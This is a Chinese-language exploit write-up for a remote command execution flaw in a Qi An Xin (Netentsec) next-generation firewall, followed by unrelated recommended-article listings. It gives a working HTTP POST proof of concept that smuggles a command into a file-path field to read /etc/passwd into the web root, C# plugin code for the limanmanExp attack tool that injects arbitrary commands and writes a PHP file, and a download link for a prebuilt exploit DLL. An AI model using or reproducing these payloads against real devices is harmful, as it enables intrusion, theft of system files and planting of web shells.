漏洞信息:

漏洞名称:奇安信 网康下一代防火墙 RCE漏洞。

漏洞性质:远程命令执行

漏洞利用特点:命令执行之后没有回显

利用方式:防火墙使用linux进行开发的,可以使用echo xxx >123.txt这样的方式写入文件。 当文件生成目录在网站根目录下就可以直接访问了。

POC

POC为POST 类型的HTTP 请求报文

POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 178 {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

以上的poc部分header选择性增删改查。

payload为"data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} 部分。

结果获取

POC为http报文。发送之后访问https://xx.xx.xx.xx/test_test.txt 即可获得命令执行结果

基于LimanmanExp的攻击工具开发。

由于本漏洞的触发是基于HTTP 请求的,所以可以使用limanmanExp 进行攻击插件进行开发。

limanmanExp开发

构建url

public Dictionary<string, string> Poc_GetUrl(Dictionary<string, Dictionary<string, string>> data)
{//url
Dictionary<string, string> numberOfTime = new Dictionary<string, string>();
Dictionary<string, string> url = new Dictionary<string, string>();
url= data["url"];
url["url"] += "/directdata/direct/router";
//**do something**
return url; }

构建header

public Dictionary<string, string> Poc_GetHeaders(Dictionary<string, Dictionary<string, string>> data)
{//headers
Dictionary<string, string> headers = new Dictionary<string, string>();
//**do something**
headers["UserAgent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0";
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
headers["Accept-Language"]= "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept - Encoding: gzip, deflate";
headers["ContentType"] = "application/x-www-form-urlencoded"; return headers;
}

构建body

public Dictionary<string, string> Poc_GetBody(Dictionary<string, Dictionary<string, string>> data)
{//body
Dictionary<string, string> body = new Dictionary<string, string>();
//**do something**
if (data["others"]["otherPayload"] != null && data["others"]["otherPayload"] != "其他载荷")
{
//数据来自于用户的输入,在主程序的首页第三个大文本框中。
data["others"]["otherPayload"] = data["others"]["otherPayload"].Replace("\"", "\\\"").Replace("\\", "\\\\");
body["body"] = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;" + data["others"]["otherPayload"] + " >/var/www/html/test_cmd.php\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}";
}
else
{
body["body"] = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;" + "echo \\\"<?php phpinfo();\\\"" + " >/var/www/html/test_cmd.php\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}";
}
return body;
}

设置limanmanEXP报文发送设置

 public Dictionary<string, string> Poc_GetOther(Dictionary<string, Dictionary<string, string>> data)
{//othersInfo
Dictionary<string, string> other = new Dictionary<string, string>();
other = data["others"];
if (other["numberOfTime"] == "0")
{//初始标识0
other["numberOfTime"] = "2";//发送post请求
//**do something**
}
else
{//结束标志0
other["numberOfTime"] = "0"; }
return other;
}

如果你是懒人,请直接

链接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取码:rw8l

下载



NetentSec_HW_0dya.dll 放入插件目录, 运行limanmanExp即可。

如果需要详细的开发教程, 可以查看开发手册:

https://www.kancloud.cn/qq496672097/limanmanexp/2139153

2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节的更多相关文章

  1. 奇安信集团笔试题:二叉树的最近公共祖先(leetcode236),杀死进程(leetcode582)

    1. 二叉树最近公共祖先     奇安信集团 2020校招 服务端开发-应用开发方向在线考试 编程题|20分2/2 寻祖问宗 时间限制:C/C++语言 1000MS:其他语言 3000MS 内存限制: ...

  2. 模拟学信网登录,Cookie 序列化,在反序列化之后不能用的问题

    昨天和今天在模拟学信网登录,然后抓取用户的信息数据的时候发现一直登录不成功, 登录页面,https://account.chsi.com.cn/passport/login?service=http% ...

  3. 美国易安信公司 EMC

    EMC 提供了帮助您利用这一资产的工具.凭着我们的系统.软件.服务和解决方案,我们能够与您一道为您的公司打造一个综合性的信息基础架构.我们帮助客户设计.构建和管理智能.灵活而且安全的信息基础架构.这些 ...

  4. ESP8266学习笔记1:怎样在安信可全功能測试板上实现ESP-01的编译下载和调试

    近期调试用到了安信可的ESP-01模块,最终打通了编译下载调试的整个通道,有一些细节须要记录,方便兴许的开发工作. 转载请注明:http://blog.csdn.net/sadshen/article ...

  5. java okhhtp下载学信网学籍信息

    学信网的登录有验证码,是那种计算数字或者汉字识别的,很难识别.最近连学籍信息和学历信息也换成图片了,常规的正则 css xpath都不能使. 下载图片,需要先登录,获取登陆后的cookie和学籍信息的 ...

  6. 安信可ESP-12F(8266)模块烧录问题解决:示 :ESP8266 Chip stub error esp_stub_an

    模块:安信可ESP-12F, 8266模块 1. 供电电流大于500ma,网上买的串口工具供电电流都是不行的,要上主电源,或者外接电源. 2. 焊接在主板上的模块由于串口同时连接了MCU的串口,如果M ...

  7. 用Python的Pandas和Matplotlib绘制股票唐奇安通道,布林带通道和鳄鱼组线

    我最近出了一本书,<基于股票大数据分析的Python入门实战 视频教学版>,京东链接:https://item.jd.com/69241653952.html,在其中给出了MACD,KDJ ...

  8. 锐安信sslTrus与GeoTrust SSL证书的对比

    当您想要为您的网站购买一款SSL证书时,是不是既想要价格便宜,又想要安全性能服务好的证书,最后又在品牌上犹豫不决?如何选择SSL证书?哪款SSL证书是最适合您的?本文将详细对比分析锐成信息平台上畅销品 ...

  9. 学信网改绑手机号码,但是忘记了老号码怎么办?利用node.js + puppeteer 跑脚本实现改绑手机号

    最近登录学信网发现自己学信网上绑定的手机号码不是目前自己使用的手机号码,于是想改绑手机号,但是发现不记得之前的手机号码了: 于是百度各种方法都无济于事:也不想重新注册账号,最后看见一篇文章通过Pyth ...

随机推荐

  1. 三万长文50+趣图带你领悟web编程的内功心法:一文带你深入解读HTTP的发展史

    看到题目,大家是不是认为根据上一篇(两万字长文50+张趣图带你领悟网络编程的内功心法)一样,其实不然,我们上一边介绍的是网络编程的基本功,有了这些基本功之后,我们就可以在此之上构建更加接近实际应用的w ...

  2. 用Python实现一个“百度翻译”

    import requests import json s = input("请输入你要翻译的内容:") headers = {"User-Agent":&qu ...

  3. Java开发的得力助手---Guava

    导语 guava是google出品的java类库,被google广泛用于内部项目,该类库经过google大牛们的千锤百炼,以优雅的设计在java世界流行.版本迭代至今,很多思想甚至被JDK标准库借鉴, ...

  4. 注解处理器APT详解

    本文转载自ANNOTATION PROCESSING 101 Introduction In this blog entry I would like to explain how to write ...

  5. RabbitMq手动确认时的重试机制

    本文转载自RabbitMq手动确认时的重试机制 消息手动确认模式的几点说明 监听的方法内部必须使用channel进行消息确认,包括消费成功或消费失败 如果不手动确认,也不抛出异常,消息不会自动重新推送 ...

  6. node_puppeteer无界爬虫

    环境:node----v14.5.0 vscode----2019 依赖库 (需要自行设置好目录结构,否则会报目录错误) const puppeteer = require("puppete ...

  7. JS数组的常用属性或方法

    1.length 数组长度 计算数组的长度 var arr=[1,2,3,4,5]; console.log(arr.length);//输出结果是5 2. push() 添加元素 向数组尾部添加新元 ...

  8. EFCodeFirst Migrations数据库迁移

    EFCodeFirst Migrations数据库迁移 数据库迁移 1.生成数据库 修改类文件PortalContext.cs的静态构造函数,取消当数据库模型发生改变时删除当前数据库重建新数据库的设置 ...

  9. 从头捋了一遍 Java 代理机制,收获颇丰

    尽人事,听天命.博主东南大学硕士在读,热爱健身和篮球,乐于分享技术相关的所见所得,关注公众号 @ 飞天小牛肉,第一时间获取文章更新,成长的路上我们一起进步 本文已收录于 「CS-Wiki」Gitee ...

  10. CentOS7安装 xmlsec1 编译并运行官方示例

    1. 自动安装下列软件和依赖(默认已安装libxml2和libxslt) yum install xmlsec1-openssl xmlsec1-openssl-devel 2. 查看官网 www.a ...